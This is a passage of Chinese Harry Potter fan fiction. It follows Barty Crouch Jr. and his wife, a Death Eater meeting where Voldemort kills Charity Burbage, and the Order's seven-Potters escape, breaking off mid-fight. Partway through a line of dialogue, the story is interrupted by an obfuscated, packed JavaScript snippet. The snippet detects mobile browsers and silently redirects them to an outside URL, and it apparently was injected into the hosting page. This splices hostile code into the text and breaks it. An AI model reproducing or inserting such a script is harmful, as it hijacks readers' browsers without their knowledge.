小巴蒂真的很想笑,但他怕自己不合时宜的笑声会引来注意,只好把脸埋在妻子的头发里,身体抖得厉害。 “据说麦格在考虑关闭霍格沃茨,”莉安皱着眉头,不安的扭了扭身子,“很多家长已经把孩子接走了,邓布利多一死,大家好像都没了主心骨。” “它不会关,”小巴蒂笑够了,正色道,“在这里并不比在家里更危险,霍格沃茨反而更安全一些,几位教授的战斗力很强,不过伏地魔打算在学校里安插自己的人手,慢慢引导这些年轻的巫师。” “他想怎么做?”莉安吃惊的看着他。 “当然是从小洗脑,灌输纯血统那一套,”小巴蒂扔掉了伏地魔的安利,“虽然我本身就是纯血统,但我并不认可纯血至上,我只是单纯的想学黑魔法,并且他对我很好——当然,现在依然对我好,只是我看到了越来越多的真相,不能像从前那样死心塌地的效忠他了。” “你发现他并不像你的父亲?” “不是,”小巴蒂摇了摇头,认真的说,“我见识到了真正的毫无保留的爱,如果说我母亲爱我,是因为我是她的儿子,血缘让她爱我,如果我并不是她的儿子,她很有可能不会爱我,但是你不一样。” “你是真正的爱我,”他温柔的说,“无论我本性如何,无论我变成什么样子,你都爱我。” 良久的沉默,人群差不多已经散光了,落在后面的人让出很大一块地方,让庞然大物般的格洛普——海格的巨人弟弟搂抱着海格通过,海格的哀号声仍然在湖面上回荡。 “回去吗?”小巴蒂问。 “好吧,回家去吧。” “去你的姑妈家,”小巴蒂说,“等忙完了,然后我就一直陪着你,不管你去哪儿。” “去陋居干嘛?”莉安不解的问,“有什么可忙的?你不想多陪陪孩子们吗?” “比尔和芙蓉的婚礼,亲爱的,你果然忘了。” 莉安拍了拍自己的额头,有些沮丧,她差点把这件事给忘掉了,虽然现在的魔法界看上去危机四伏,风雨欲来,但仍然存在婚礼和爱情这样美好的事。 “是啊,但是没有这么快,我们可以先在家里待一阵子,”莉安放松的倚靠在他胸口上,缓缓的吐了口气,“虽然我没有婚礼,但是我很乐意看到别人的幸福。” “看来你真的把红毛放下了,”小巴蒂意问深长的看着她,挑高了一边眉毛,“可是那天在医疗翼,还是情不自禁了对吧?” 莉安打了个哆嗦,哀求的看着他,她的手不由自主的抓紧了他的领口,“你之前没计较,我还以为你不在意这件事了,巴蒂,比尔是我的表哥,那只是亲情…我不能和他完全断绝关系呀。” “哦。” 莉安听到他这个拐了几道弯的音色,连忙一头扎进他怀里,惶惶不安的抱着他。 她害怕他是在心不在焉的重复或嘲笑她才抛出了一个毫无意义的短语,让原本简单的事情变得复杂。 然而不知道为什么,她就是很喜欢他以独特的音色说话,或者嘲讽,因为那是他表达感情的方式,她紧紧的搂着他的腰,迫不及待的想要亲吻他。 “别这样,你知道这并不是我的脸,”小巴蒂伸出一根手指抵在她又变得娇艳欲滴的红唇上,邪肆扬了扬眉毛,“我很高兴看到你对我用美人计,我必须承认,我中计了,我上当了,这邪恶的阳谋让我无法逃脱。” “你这个无赖!是你先动手的!” “对,我龌龊,我无耻,但你很喜欢。” 有一瞬间的沉默,小巴蒂的另一只手掐在她的腰上,手指陷了进去,那部分的她的身体就像此刻黑湖的湖水一样柔软。 他不由自主的控制住了她,因为怕她很快就会正襟危坐,收回这份依赖,像以前那样打算说出一些刻薄的话,那些话听起来恶毒、伤人,或者是一些凶猛、牙尖齿利、冷酷无情的话,可以撕裂人类的任何情感,刺穿他这个成年男人心中那个充满渴望和无助的孩子。 那些话听起来很扭曲,容易被曲解,但他总会敏锐的发现,她是出于爱——她愤怒、恐惧、灼人、言不由衷的爱。 “是啊,我喜欢。”良久的沉默后,她说。 十几年前,他从来没有这样高兴过,活在当下——总有一些东西会被摄魂怪和夺魂咒偷走,但此刻他密封在一个心室里的东西不受控制的流渗到另一个心室,她让他的心像一颗瓣膜封不严的衰老心脏。 “如果这个世界拥有更多的爱,邓布利多会比任何人都更高兴。” 31. 伪装 头顶上低悬的树枝不时遮挡住月光,金发男人英俊的五官在黑暗中忽明忽暗,他抬起手臂,默默穿过了铁门,仿佛那锻铁大门不过是烟雾一般。 他快步走过树篱和孔雀,一座华丽的宅邸赫然出现在黑暗中,底层窗户的菱形玻璃射出闪亮的灯光。 在树篱后面黑黢黢的花园里,有个喷泉正在喷水,发出接连不断的哗哗声,他继续往前走,吱嘎吱嘎的踩着砂砥路朝正门走去,刚走到跟前,不见有人开门,门却自动朝里打开了。 门厅很大,光线昏暗,布置得十分豪华,一条华贵的地毯几乎覆盖了整个石头地面,大步走过时,墙上那些脸色苍白的肖像用目光跟随着他。 在一扇通向另一房间的沉重的木门前,他深深的吸了口气,停下脚步,转动了青铜把手。 客厅的光线有些昏暗,长桌旁坐满了人,华丽的大理石壁炉里燃着熊熊旺火,他在门口停留了一会儿,目光被长桌上方一幕奇怪的景象吸引了—— 一具似乎神志不清的人体正头朝下悬在桌子上方,像是被一根无形的绳子吊着,慢慢旋转,身影映在壁炉上方的镜子里,映在空荡荡的、擦得铮亮的桌面上。 在座的那些人谁也没去看这幕奇异的景象,只有一个差不多正好位于它下方的脸色惨白的年轻人除外。 他似乎无法克制自己,不时往上扫一眼。 “巴蒂,”一个冷酷又清晰的声音说,“坐在这里吧。” 伏地魔指了指紧挨着他右边的座位,小巴蒂走了过去,发现他的下首坐着斯内普。 两个大脑封闭大师不动声色的对视一眼,小巴蒂淡定的迎向伏地魔的目光。 但是伏地魔没有跟他对视,而是看向斯内普,“怎么样?” “主人,凤凰社打算下个星期六傍晚把哈利·波特从现在的安全住所转移出去。” 桌旁的食死徒们明显来了兴趣,有的挺直了身子,有的好像坐不住了,都用眼睛盯着斯内普和伏地魔。 “星期六…傍晚。”伏地魔重复了一句,红眼睛死死盯着斯内普的黑眼睛,目光十分锐利,旁边的几个人赶紧望向别处,斯内普却不动声色的望着伏地魔的脸。 片刻后,伏地魔满意出声,“好,很好,这个情报来自——” “来自我们谈论过的那个出处。”斯内普说。 “主人,”亚克斯利探身望着长桌那头的伏地魔和斯内普,大家都把脸转向了他,“主人,我听到了不同的情报。” 亚克斯利等了等,但伏地魔没有说话,他就继续往下说,“德力士,就是那个傲罗,据他透露,波特要到30号,也就是他满17岁前的那个晚上才转移呢。” 斯内普微微一笑。 “向我提供消息的人告诉我,他们计划散布一些虚假情报,这肯定就是了,毫无疑问,德力士中了混淆咒,这不是第一次了,他立场不稳是出了名的。” “我向您保证,主人,德力士看上去对自己很有把握。”亚克斯利说。 “如果中了混淆咒,他自然很有把握,”斯内普说,“我向你保证,亚克斯利,傲罗办公室在掩护哈利·波特的行动不再起任何作用,因为凤凰社相信我们的人已经打入魔法部。” “如此看来,凤凰社总算弄对了一件事,嗯?”坐在离亚克斯利不远处的一个矮胖的男人说,他呼哧带喘的笑了几声,长桌旁的几个人也跟着笑了起来。 伏地魔没有笑,他将目光转向头顶上那具慢慢旋转的人体,似乎陷入了沉思。 “主人,”亚克斯利继续说,“德力士相信所有的傲罗都要参加转移那个男孩——” “所有的傲罗?包括那个把我和妹妹抓进去的女人?”矮胖男人——阿米库斯·卡罗说。 伏地魔举起一只苍白的大手,亚克斯利和阿米库斯立刻不做声了,亚克斯利怨恨的看着伏地魔把目光又转向了斯内普。 “接下来他们打算把那男孩藏在哪儿?” “藏在某个凤凰社成员的家里,”斯内普说道,“据情报说,那个地方已经采取了凤凰社和魔法部所能提供的各种保护措施,我认为,一旦他到了那里,就很难有机会抓住他了,当然,除非魔法部在下个星期六之前垮台,主人,那样我们或许有机会发现和解除一些魔咒,继而突破其他魔咒。” “怎么样,亚克斯利?”伏地魔朝桌子那头问,火光在他的红眼睛里发出诡异的光芒,“魔法部到下个星期六之前会垮台吗?” 大家又一次把脑袋都转了过来。 “主人,这方面我有好消息,”亚克斯利挺起胸膛,“我克服重重困难,经过种种努力成功给皮尔斯·辛克尼斯施了夺魂咒。” 亚克斯利周围的许多人露出钦佩的神情,坐在他旁边的多洛霍夫拍了拍他的后背。 “这倒令人吃惊,”伏地魔说,“但辛克尼斯只是一个人,在我们行动之前,斯克林杰周围必须全是我们的人,暗杀部长的努力一旦失败,我们就会前功尽弃。” “是的,主人,的确如此,可是您知道,辛克尼斯是法律执行司司长,他不仅与部长本人,而且还与魔法部各司的司长都有频繁接触,我想,我们要是把这样一位高级官员控制住了,再制服其他人就容易多了,然后他们可以一起努力,把斯克林杰赶下台去。” “但愿我们的朋友辛克尼斯在改造别人前不要暴露身份,”伏地魔说,“不管怎样,魔法部是不可能在下个星期六之前垮台的,既然不能在那男孩到达目的地以后抓他,我们就必须趁他在路上的时候动手。” “主人,在这方面我们有一个优势,”亚克斯利说,他似乎打定主意要得到一些夸奖,“我已经在魔法交通司里安插了几个人,如果波特幻影移形或使用飞路网,我们立刻就会知道。” “他不会这么做的,”斯内普说,“凤凰社会避开任何受魔法部控制和管理的交通方式,凡是和魔法部有关的,他们都不相信。” “这样更好,”伏地魔说,“他们只好在露天转移,要抓住他就容易多了。” 伏地魔又抬起头,望着那具慢慢旋转的人体,继续说道,“我要亲自对付那个男孩,在哈利·波特的问题上,失误太多了,有些是我自己的失误,波特能活到今天,更多的是由于我的失误,而不是他的成功。” 他的目光仍然对着上方那具昏迷的人体。 “我太大意了,所以被运气和偶然因素挫败,只有最周密的计划才不会被这些东西破坏,现在我明白了,我明白了一些以前我不明白的东西,杀死哈利·波特的必须是我,必定是我。” 他的话音刚落,突然传来一声痛苦的哀嚎,拖得长长的,凄惨无比,像是在回答他的话,桌旁的许多食死徒都大惊失色的往下看去,因为那声音似乎是从他们脚下发出来的。 “虫尾巴,”伏地魔那平静的、若有所思的声音毫无变化,目光也没有离开上面那具旋转的人体,“我没有跟你说过吗?让我们的俘虏保持安静!” “是,主、主人。”桌子中间一个矮个子男人结结巴巴的说,他坐在那里显得特别矮,猛一眼看去,还以为椅子里没有人。 他慌慌张张的从椅子上爬下来,匆忙离开了房间,身后只留下一道奇怪的银光。 “我刚才说了,”伏地魔又看着自己的追随者们紧张的面孔,继续说道,“我现在明白多了,比如,我需要从你们某个人手里借一根魔杖,再去干掉波特。” 周围的食死徒们脸上满是惊愕,就好像他刚才宣布说要借他们一条胳膊似的。 “没有人自愿?”伏地魔说,“让我想想…卢修斯,我看你没有理由再拿着魔杖了。” 卢修斯·马尔福抬起头,在火光的映照下,他的皮肤显得蜡黄蜡黄的,一双眼睛深陷下去,神色忧郁,说话声音沙哑。 “主人?” “你的魔杖,卢修斯,我要你的魔杖。” “我…” 卢修斯侧眼望了望他的妻子,她正呆呆的目视着前方,脸色和他的一样苍白,长长的金黄色头发披散在背后。 可是在桌子底下,她用细长的手指轻轻握了握他的手腕,卢修斯感觉到了她的触摸,便把手伸进长袍,抽出一根魔杖,递给伏地魔。 伏地魔把魔杖举到他的红眼睛前面,仔细端详着。 “是什么做的?” “榆木的,主人。”卢修斯小声说。 “杖芯呢?” “龙的神经。” “很好。”伏地魔说,他抽出自己的魔杖,比较着长短。 卢修斯不由自主的动弹了一下,刹那间,他似乎指望伏地魔能拿自己的魔杖换他的那根。 伏地魔注意到了他的表现,睁大了眼睛。 “把我的魔杖给你,卢修斯?我的魔杖?” 有几个人发出窃笑。 “我给了你自由,卢修斯,这对你来说还不够吗?而且我注意到,你和你的家人最近好像不太高兴,待在你家里,有什么让你们不愉快的吗?” “没有!没有,主人!” “全是撒谎,卢修斯…” 他冷酷的嘴已经不动了,但低低的嘶嘶声似乎还在响着,这声音越来越大,一两个食死徒忍不住打了个寒战,只听见桌子底下的地板上有个笨重的东西在爬。 纳吉尼探出身,慢慢爬上伏地魔的椅子,它越攀越高,似乎永无止境,然后把身子搭在伏地魔的肩膀上,它的身体和人的大腿一样粗,眼睛一眨不眨,瞳孔垂直着。 伏地魔用细长的手指漫不经心抚摸着它,眼睛仍然望着卢修斯。 “为什么马尔福一家对他们的境况表现得这么不高兴呢?这么多年来,他们不是一直口口声声的宣称希望我复出,希望我东山再起吗?” “那是当然,主人,”卢修斯说,他用颤抖的手擦去了嘴唇上的冷汗,“我们确实是这样——现在也是。” 在卢修斯左边,他的妻子纳西莎古怪而僵硬的点点头,眼睛躲避着伏地魔和纳吉尼。 他的右边是他的儿子德拉科,刚才一直盯着长桌上方那具毫无生气的人体,此刻迅速扫了一眼伏地魔,又赶紧移开目光,不敢跟他对视。 “主人,”说话的是坐在桌子中间的一个皮肤略黑的女人,她激动得声音发紧,“您待在我们家里,是我们的荣幸!” 贝拉特里克斯坐在她妹妹旁边,她的模样不像她妹妹,举止神情也完全不同。 纳西莎僵硬的坐在那里,面无表情,而贝拉特里克斯则朝伏地魔探过身子,似乎用语言还不能表达她渴望与他接近的意愿。 伏地魔微微转头打量着她,“这话从你嘴里说出来,可是意义非凡呐,贝拉。” 贝拉特里克斯顿时脸涨得通红,眼睛里盈满喜悦的泪水。 “主人知道我说的都是真心话!” “没有比这更令人高兴的了…跟我听说的你们家这星期发生的那件喜事相比呢?” 贝拉特里克斯呆呆的望着他,嘴唇微微张着,似乎被弄糊涂了。 “我不明白您的意思,主人。” “我说的是你的外甥女,贝拉特里克斯,也是你们的外甥女,卢修斯和纳西莎,她刚刚嫁给了狼人莱姆斯·卢平,你们肯定骄傲得很吧?” 桌子周围爆发出一片讥笑声,许多人互相交换着愉快的目光,有几个还用拳头擂起了桌子,贝拉特里克斯和马尔福一家受到羞辱,令他们太开心了。 “主人,她不是我们的外甥女,”贝拉特里克斯大声喊道,“自从我们的妹妹嫁给那个泥巴种之后,纳西莎和我从来都没有正眼瞧过她!那个孩子,还有她嫁的那个畜牲,都跟我们没有任何关系。” 伏地魔又发表了一篇冗长的、关于纯血高贵的长篇大论,小巴蒂打起了瞌睡——他知道这不是伏地魔的真实想法,因为伏地魔压根不在乎纯血,毕竟他很清楚伏地魔的底细——一个混血种,当初为了拉拢他加入食死徒,伏地魔像个慈祥的父亲一样教导他,并跟他透露了这些“小秘密”,让他天真的以为,他们有很多共同之处。 伏地魔终于结束了他滔滔不绝的演讲,他举起了卢修斯的魔杖,对准悬在桌子上方微微旋转的人体轻轻一挥,那人呻吟着醒了过来,开始拼命挣脱那些看不见的绳索。 “你认得出我们的客人吗,西弗勒斯?”伏地魔问。 斯内普抬起眼睛望着那张颠倒的脸,此刻,所有的食死徒都抬头看着这个被俘的人,好像他们得到批准,可以表现出他们的好奇心了。 那女人旋转着面对炉火时,用沙哑而恐惧的声音尖叫道,“西弗勒斯!救救我!” “噢,认出来了。”斯内普说。 “巴蒂呢?” 小巴蒂不易察觉的摸了摸嘴角,他刚才好像梦到自己的女儿了,他迅速回神,轻轻的扫了一眼。 “噢,原来是她。”他点点头,轻松的说,犯人又缓缓的转过去了。 “你呢,德拉科?”伏地魔用那只没拿魔杖的手抚摸着纳吉尼的鼻子,问道。 德拉科猛地摇了一下脑袋,现在这女人醒了,他反倒不敢再看她了。 “不过你大概没有上过她的课,” 伏地魔说,“有些人可能不认识她,我来告诉你们吧,今晚光临我们这里的是凯瑞迪·布巴吉,她此前一直在霍格沃茨教书。” 桌子周围发出轻轻的、恍然大悟的声音,一个宽肩膀、驼背、牙齿尖尖的女人咯咯的笑了起来。 阿莱克托·卡罗不屑的说,“布巴吉教授教巫师们的孩子学习关于麻瓜的各种知识,说麻瓜和我们并没有多少差别。” 一个食死徒朝地下吐了口唾沫,凯瑞迪·布巴吉又转过来面对着斯内普。 “西弗勒斯..…求求你…求求你…” “你怎么不求求我,是因为我现在没喝复方汤剂吗?”小巴蒂嗤笑一声,他咧开嘴,恶劣的说,“可是我在霍格沃茨的时候,你和其他老师不是特别有安全感吗?” 食死徒们哄堂大笑,德拉科抖得更厉害了。 “安静,”伏地魔又轻轻一抖卢修斯的魔杖,凯瑞迪像被堵住了嘴,立即不做声了,“布巴吉教授不满足于腐蚀毒化巫师孩子的头脑,上个星期还在《预言家日报》上写了篇文章,慷慨激昂的为泥巴种辨护,她说巫师必须容忍那些人盗窃他们的知识和魔法,布巴吉教授说,纯血巫师的减少是一种极为可喜的现象,她希望我们都跟麻瓜——毫无疑问,还有狼人——通婚…” 这次气氛更加沉默了,毫无疑问,伏地魔的声音里透着愤怒和轻蔑,当凯瑞迪·布巴吉第三次转过来面对着斯内普,泪水从她的眼睛里涌出,流进了头发里。 斯内普一脸冷漠的望着她,慢慢的,她又转了过去。 “Avada kedavra. ” 一道绿光照亮了房间的每个角落,轰隆一声,凯瑞迪落到桌面上,震得桌子颤抖着发出嘎吱声。 几个食死徒惊得缩进椅子里,德拉科吓得从座位滑到了地板上,小巴蒂撇了撇嘴,懒得理会白鼬这个胆小鬼。 “用餐吧,纳吉尼。”伏地魔轻声说。 纳吉尼晃晃悠悠的离开了他的肩头,慢慢爬向光滑的木头桌面。 1997年7月27日,伦敦小惠金区,女贞路。 哈利听到爆裂声传来,期待的跑到厨房里,朝窗外的后花园望去。 黑暗似乎泛起了涟漪,空气本身也在颤动,接着,随着幻身咒的失效,一个个人影开始显现出来,最显眼的是小天狼星,他戴着头盔和护目镜,骑在一辆巨大的、带黑色挎斗的轻型摩托车上,在他周围,其他人纷纷从飞天扫帚上下来,还有两个是从瘦骨嶙峋的、带翅膀的黑马身上下来的。 哈利打开后门,一下子蹿到他们中间,四下里一片问候声,小天狼星激动的张开双臂把他搂进怀里,“怎么样,哈利?准备好离开了吗?” “当然,”哈利笑眯眯的看着大家,“没想到你们来了这么多人!” “计划变了,”穆迪粗声粗气的说,他提着两个鼓鼓囊囊的巨大口袋,那只魔眼嗖嗖的扫视着逐渐变暗的天空、房屋和花园,速度快得令人眩晕,“我们先掩护起来,再跟你细说。” 哈利把他们都领进了厨房,大家嘻嘻哈哈、谈笑风生的坐在椅子上,有些人甚至坐在佩妮光洁锃亮的厨房操作台上,或靠在她一尘不染的各种器皿上。 罗恩,又瘦又高,一脸雀斑,赫敏,浓密的头发在脑后编成了一根长辫子,弗雷德和乔治,一模一样的咧嘴笑着,莉安,漂亮的脸上没有表情,浅金色的长发在夜风里飘荡着,比尔,满脸伤痕,留着长发,亚瑟,慈眉善目,眼镜戴得有点歪,穆迪,久经沙场,只有一条腿,那只亮晶晶的蓝色魔眼在眼窝里嗖嗖的转个不停,唐克斯,一头短发是她最喜欢的粉红色,卢平,更加憔悴、瘦削,芙蓉,美丽苗条,长长的银白色头发,金斯莱,秃头,宽肩膀,皮肤黝黑,小天狼星,英俊的脸颊,眼神里还残留着一些阿兹卡班带给他的忧郁,此情此景,令哈利心花怒放,他真喜欢他们啊。 “金斯莱,你不是在照顾麻瓜首相吗?”他朝屋子那头喊道。 “一个晚上没有我,他对付得了,”金斯莱说,“你更重要啊。” “哈利,你猜怎么着?”唐克斯坐在洗衣机上,美滋滋的朝哈利晃动着她的左手,一枚戒指在闪闪发光。 “你们结婚了?”哈利看看她,又看看卢平。 “对不起,你没能参加,哈利,我们没怎么声张。” “太棒了,祝贺——” “好了好了,以后有时间好好聊个痛快!”穆迪在一片喧闹声中吼道,厨房里顿时安静下来。 穆迪把口袋扔在脚下,转向哈利,“德达洛大概已经跟你说了,本来之前说好由我带你幻影移形,但现在我们不得不放弃第一套计划,皮尔斯·辛克尼斯大动干戈,给我们带来了很大麻烦,他把许多做法都归为犯法行为,抓住就要坐牢,比如:让这所房子跟飞路网连接,在这里放一个门钥匙,或者幻影显形进进出出,还说这么做是为了保护你,为了不让黑魔头抓住你,纯属无稽之谈,你母亲的咒语已经做到了这点,他所做的实际上是阻止你安全的离开这里。 “第二个困难:你还没有成年,这意味着你身上仍然带有踪丝。” “我没有——” “踪丝,踪丝!”穆迪不耐烦的说,“探测十七岁以下的巫师进行魔法活动的符咒,魔法部通过它来发现未成年人使用魔法!如果你,或者你周围的什么人,念一个咒语让你离开这里,辛克尼斯就会知道,食死徒也会知道。” “我们不能等踪丝消失,因为一满十七岁,就会失去你母亲给你的全部保护,简单的说:皮尔斯·辛克尼斯认为你已经彻底走投无路了。” “那我们怎么办呢?”哈利问。 “我们只能使用这几种交通工具:飞天扫帚、夜骐和西里斯的轻型摩托,只有它们是踪丝无法探测的,因为不需要念咒语。” “你母亲的符咒在两种条件下会破除:你成年了,或者——”穆迪指了指一尘不染的厨房,“——你不再管这个地方叫家,今晚,你和你的姨妈姨父分道扬镳,彼此都明白你们今后再也不会共同生活了,对不对?” 哈利点点头。 “所以,这次你一离开就再也不会回来,符咒会在你走出它的范围时破除,我们选择提早打破它,因为黑魔头很可能会在你满十七岁时过来抓你。” “我们有一个优势,就是黑魔头不知道我们今晚要来转移你,我们给魔法部透露了一个假情报,他们以为你30号才会离开,不过,我们的对手是黑魔头,光是指望他把日子搞错是不够的,他肯定会让两个食死徒在这个地区的上空巡视,以防万一,所以,我们对整整一打房屋采取了最好的保护措施,它们看上去都像是我们准备藏你的地方,都和凤凰社有某种联系:我的房子、金斯莱家、莫丽的穆丽尔姨妈家…你明白这意思吧?” “明白。” “你去唐克斯的父母家,一旦进入我们给房子设置的保护魔咒的范围,你就可以利用一个门钥匙转移到陋居去,有问题吗?” “呃,有,”哈利说,“也许他们一开始并不知道我要去那十二处安全房子中的哪一处,可是我们十四个人飞向唐克斯的父母家,这不一下子就一目了然了吗? “啊,”穆迪说,“关键的一点我忘记说了,我们十四个人并不都飞往唐克斯的父母家,今晚将有七个哈利·波特在天上飞,每个都有人陪伴,每一组都飞往一处不同的安全房屋。” 穆迪刚从斗篷里掏出一瓶泥浆般的东西,哈利大声说,“不!不行!” “我告诉过你们他会是这种反应吧。”赫敏有点儿得意的说。 “如果你们认为我会让六个人冒着生命危险!” “咳,其实我们谁都不喜欢,哈利,”乔治一本正经的说,“想象一下吧,如果出了故障,我们变不回去,永远成为皮包骨头的小笨蛋。” 哈利没有笑,“我不配合,你们就办不成,你们需要我贡献几根头发。” “是啊,这么一来,整个计划可就泡汤了,”弗雷德说,“如果你不配合,我们显然根本不可能弄到你的一点儿头发。” “没错,十三个对付一个,而那一个还不能使用魔法,我们真是毫无希望啊。”乔治说。 “荒唐,”哈利说,“真是太可笑了。” “如果需要运用武力,那就来吧,”穆迪吼道,他瞪着哈利,魔眼在眼窝里微微颤抖,“这里的每个人都到了法定年龄,波特,他们都准备冒此风险。” “别再争执了,哈利,”小天狼星急躁的喊道,“时间有限,我们需要你几根头发,快点儿,哈利!” “可是这太荒唐了,没有必要——” “没有必要?”穆迪厉声吼道,“你知不知道,外面有黑魔头,还有半个魔法部都和他站在一边!波特,如果我们运气好,他们会相信那个假情报,计划在30号埋伏你,但他肯定会安排一两个食死徒监视你,除非他脑子坏了,换了我也会这么做,有你母亲的符咒在,他们大概还不能拿你或这所房子怎么样,但符咒很快就要失效,而他们知道房子的大致位置,我们惟一的机会就是使用替身,就连黑魔头也不可能把自己分成七份。” 在众目睽睽之下,哈利伸手揪住头顶的一撮头发,拔了几根下来。 “很好,”穆迪说着一瘸一拐的走上前,拔出魔药瓶的塞子,“放在这里面。” 哈利把头发丢进泥浆般的液体中,头发刚一接触液体表面,魔药就开始起泡、冒烟,一眨眼就变成了清澈的金黄色。 “好了好了,劳驾,假波特在这里排队。”穆迪说。 罗恩、赫敏、弗雷德、乔治和芙蓉在闪闪发亮的洗涤槽前站成一排。 “还少一个。”穆迪警告似的瞪了莉安一眼。 “我记得我之前和你说过,我宁愿当保镖,而不是假哈利。”莉安抗拒的说。 “不行!”穆迪吼道,“邓布利多总是说黑魔头想要亲手结果波特,最需要担心的是保镖,食死徒见了保镖不留活口。” “你以为我会贪生怕死吗?”莉安怒气冲冲的盯着他,“那我怎么会加入凤凰社!” “但是你有三个孩子,”穆迪不甘示弱的吼道,“最小的那个才两个月大!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727497|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莉安张了张嘴,停顿了片刻,才说道,“我相信乔希,他会照顾好孩子们的。” “噢那可不关我事,”穆迪粗暴的说,“反正我们已经定下来了,不然谁假扮波特,我吗?” 莉安看到其他人都在打量自己,一言不发的站到了假波特的队伍里,穆迪从斗篷里掏出六只蛋杯大小的玻璃杯,分给他们,然后往每个杯子里倒了一点儿复方汤剂。 “预备——喝…” 魔药刺激嗓子眼时,莉安大口喘着气,她的五官像烤热的蜡一样开始蠕动、变形,这种感觉难受极了,而每次小巴蒂出门接她、或者跟她逛霍格莫德时,都要经历一次痛苦的变形,她实在心疼自己的丈夫,便仰起头,努力把泪水憋回眼睛里,至少不要让它们流下来。 莉安往上长了一些,她的头发变黑了,并且在飞快的蹿回到头皮里,其他人也差不多。 穆迪对这一幕漠不关心,正在解开他带来的那两个大口袋的带子,等他直起身来,面前是呼哧呼哧的六个哈利·波特。 “哎哟,”芙蓉对着微波炉门打量着自己,“比尔,别看我——我丑死了。” “谁的衣服嫌大,我这里有小的,”穆迪指指第一个口袋说,“嫌小的,我这里有大的,别忘记眼镜,侧面口袋里有六副眼镜,等你们穿戴好了,另一个口袋里有行李。” 哈利恳求的望着他们,因为他们都开始毫无顾忌的脱衣服,显然是不在乎展示他的身体——他们对待自己的身体肯定不会这样。 “很好,”穆迪看到面前站着七个衣冠整齐、戴着眼镜、提着行李的哈利,便说,“分组的情况是这样的,按我们之前的计划来,莉安和我一起,骑扫帚——” “为什么?”莉安问道,“蒙顿格斯已经不会来了,你还让我跟你一组?这有点浪费…” “因为我威名赫赫,战斗力最强,恐怕是黑魔头的首要目标,”穆迪说,“所以,如你所愿,准备好战斗吧,毕竟你那个咒语很有意思。” “亚瑟和弗雷德,乔治跟莱姆斯走,德拉库尔小姐和比尔——” “我带芙蓉骑夜骐,”比尔说,“她不太喜欢飞天扫帚。” 芙蓉走过去站在比尔身边,用含情脉脉、小鸟依人的目光看着他,莉安从心底里希望这种眼神以后永远别在她脸上出现。 “格兰杰小姐和金斯莱,也骑夜骐。” “就剩下你和我了,罗恩!”唐克斯愉快的说,她朝罗恩一挥手,果不其然,笨手笨脚的她打翻了一个杯子架。 “你跟着我,哈利,”小天狼星兴奋的搓搓手,“我们骑摩托,这可是我和詹姆亲手改装的,我们年轻的时候经常骑它溜出去玩,有一次还差点被麻瓜警察抓到。” “太好了。”哈利显得很高兴。 “我们推测,食死徒会以为你是骑扫帚的,”穆迪说,“斯内普有大量的时间把他以前没有提起的你的情况都告诉他们,所以,万一我们碰到食死徒,他们肯定会选择那个骑扫帚特别熟练的波特。” “好了,”他把两个口袋系紧,领着大家朝门口走去,继续说道,“我们三分钟内离开,后门不用锁,食死徒要过来搜查,锁是挡不住他们的.…来吧...” 大家一起走到黑黢黢的后花园里,一把把扫帚跳到人的手中,赫敏在金斯莱的搀扶下坐到一匹巨大的黑色夜骐的背上,比尔扶着芙蓉骑上了另一匹夜骐,小天狼星戴着护目镜,站在轻型摩托车旁,准备出发。 哈利钻进挎斗,罗恩看到哈利像小孩子坐在碰碰车里一样,不禁笑了起来。 “千万留神,西里斯,”亚瑟抓着他的扫帚站在他们身边,说道,“虽然我给它增加了一些功能,但我拿不准这是不是明智,必须万不得已的时候才用。” “好了好了,”穆迪说,“每个人都做好准备,大家必须在同一时间离开,不然整个牵制战术就失败了。” “抱紧点儿,罗恩。”唐克斯说,罗恩心虚的偷偷瞥了卢平一眼,然后双手搂住唐克斯的腰。 小天狼星用脚一踢,发动了摩托车,车子像火龙一样吼叫起来,挎斗也跟着抖动。 “祝大家好运!”穆迪喊道,“一小时左右在陋居见,我数到三,一…二…三。” 摩托车发出惊天动地的吼声,莉安在穆迪身后握紧了魔杖,她觉得这很别扭,但也很安心,小巴蒂曾经伪装穆迪和她朝夕相处,她永远忘不了自己被他教导的那些时光。 她在夜空中飞速穿行,眼睛微微流泪,头发被吹向脑后,在她周围,一把把扫帚腾空升起,一匹夜骐的黑色长尾巴嗖的掠过,放眼望去,已经辨认不出是哪座房子了,他们在空中越飞越高—— 突然,神不知鬼不觉的,他们被包围了,至少三十个戴兜帽的人影悬在空中,组成一个巨大的圆圈,凤凰社的成员们浑然不觉的飞入了他们的包围圈—— 到处都是尖叫声和耀眼的绿光,莉安本能的发射着魔咒,她已经不知道自己身在何处:头顶上是街灯,周围是喊叫声,装着海德薇标本的笼子和行李从她膝盖底下滑落。 穆迪迅疾的冲破包围圈,莉安把魔杖都挥成了影子,戴兜帽的食死徒们有些畏惧,立刻四散逃开。 “悠着点儿!”穆迪喊道,“真正的波特不会这么猛,你别暴露了!” 莉安扭头望去,一大群人在移动,一道道绿光来回发射,两组骑扫帚的人迅速飞向远处,但看不清他们是谁。 两道绿光突然从她左耳边嗖嗖掠过,四个食死徒离开包围圈,朝他们追了过来,后面又有魔咒射来,莉安不得不发射昏迷咒,一道道红光从她的魔杖里飞快射出,她击中了一个,对方从扫帚上掉了下去,其余三个追来的食死徒急忙躲避。 食死徒的魔杖里继续射出杀戮咒,带起阵阵猛烈的气流呼啸着从她头顶掠过,它们是冲着穆迪去的,穆迪偶尔转身回击,而莉安不停的挥舞魔杖,红光、绿光在空中相撞,喷射出五颜六色的火星。 他们飞到了云层之上,不断有魔咒划破空气从她身边飞过,穆迪飞得七扭八歪,速度极快,她瞄准那几个追过来的身影,魔咒击中了其中一个食死徒的胸口,顿时,那人怪模怪样的张开四肢悬在空中,另一个食死徒差点撞在他身上。 “抱紧我!”穆迪大吼一声,越飞越高,他单手扶住扫帚,回身发射咒语,击中了其余的食死徒,但没一会儿,又有两个食死徒从黑暗中冒了出来,越逼越近。 “Confringo! 